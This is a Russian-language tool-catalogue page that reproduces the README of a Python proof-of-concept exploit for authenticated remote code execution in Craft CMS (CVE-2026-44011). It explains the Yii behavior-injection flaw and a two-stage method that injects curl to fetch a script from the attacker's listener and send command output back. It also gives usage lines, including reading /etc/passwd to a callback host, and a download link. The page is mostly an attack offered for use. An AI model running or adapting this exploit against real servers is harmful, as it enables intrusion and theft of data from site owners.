Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-44011-poc — Python proof-of-concept эксплойт для CVE-2026-44011 — аутентифицированного RCE в Craft CMS через инъекцию поведения Yii с двухэтапным захватом вывода команды. | Kitploit
Инструменты/GitHubGitHub/khush-613/cve-2026-44011-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubkhush-613/cve-2026-44011-poc

CVE-2026-44011-poc

Python proof-of-concept эксплойт для CVE-2026-44011 — аутентифицированного RCE в Craft CMS через инъекцию поведения Yii с двухэтапным захватом вывода команды.

Репозиторий
162 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-44011

Аутентифицированное RCE в Craft CMS через инъекцию поведения Yii.

Затронуто: 4.0.0–4.17.11, 5.0.0–5.9.17
Исправлено в: 4.17.12, 5.9.18
Рекомендация: GHSA-qrgm-p9w5-rrfw

Уязвимость

Конечная точка /admin/actions/element-search/search принимает параметр condition, который передаётся напрямую в ElementCondition::createCondition() без предварительного вызова Component::cleanseConfig(). Это означает, что специальные ключи конструирования объектов Yii — __class, as <name> (присоединение поведения), on <event> (регистрация обработчика) — вступают в силу при построении объекта FieldLayout из данных запроса.

Эксплойт присоединяет AttributeTypecastBehavior, настроенное на вызов Psy\Readline\Hoa\ConsoleProcessus::execute() (внутренний механизм PSY/Yii, выполняющий команды оболочки) в качестве своего typecast-вызываемого. Поведение срабатывает на событии beforeSave, которое Craft инициирует в рамках того же запроса.

Это может сделать любая учётная запись — даже редактор с низкими привилегиями. Права администратора не требуются.

Как работает этот эксплойт

Вместо слепого reverse shell он использует двухэтапный захват вывода:

  1. Этап 1 — внедряет команду curl, которая загружает shell-скрипт с локального HTTP-слушателя, контролируемого вами
  2. Этап 2 — внедряет вторую команду, которая выполняет этот скрипт; скрипт отправляет свой вывод обратно на ваш слушатель

Вы получаете вывод команды прямо в терминале, без необходимости в nc-слушателе.

Требования

  • Python 3.8+
  • Библиотека requests (pip install requests)
  • Цель должна иметь возможность достучаться до вашей машины (для обратного вызова)
  • Действительные учётные данные любой учётной записи Craft CMS

Использование

# Basic — run id on the target
python3 exploit.py \
  -b http://target.com \
  -u [email protected] \
  -p 'password123' \
  -c 'id'

# Custom control panel path
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'

# Specify your callback address when it can't be inferred
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
  -H 10.10.14.5 --listen-port 8080

# Skip TLS verification (self-signed certs)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify

# Skip version check (e.g. version detection fails)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force

Хост/порт обратного вызова — это адрес, на который цель отправляет вывод обратно вам. По умолчанию хост выводится из вашего маршрута к цели, а порт назначается операционной системой. Если цель находится за NAT или VPN, вам потребуется --callback-host, указывающий на ваш доступный IP-адрес.

Опции

-b / --base-url       Target origin (required)
-P / --cp-path        Control panel path (default: /admin)
-u / --username       Login name or email (required)
-p / --password       Password (required)
-c / --command        Shell command to execute (required)
-s / --site-id        Craft site ID (default: 1)
-e / --element-type   Element type for the condition (default: craft\elements\Category)
-t / --timeout        Request timeout in seconds (default: 15)
-H / --callback-host  Your reachable address for output callbacks
     --listen-port    Port for output listener (default: OS picks one)
     --no-verify      Skip TLS cert verification
-F / --force          Skip version range check

Протестировано на

  • Craft CMS 5.9.8, Ubuntu 22.04

Отказ от ответственности

Только для авторизованного тестирования безопасности и исследований.

Скачать инструмент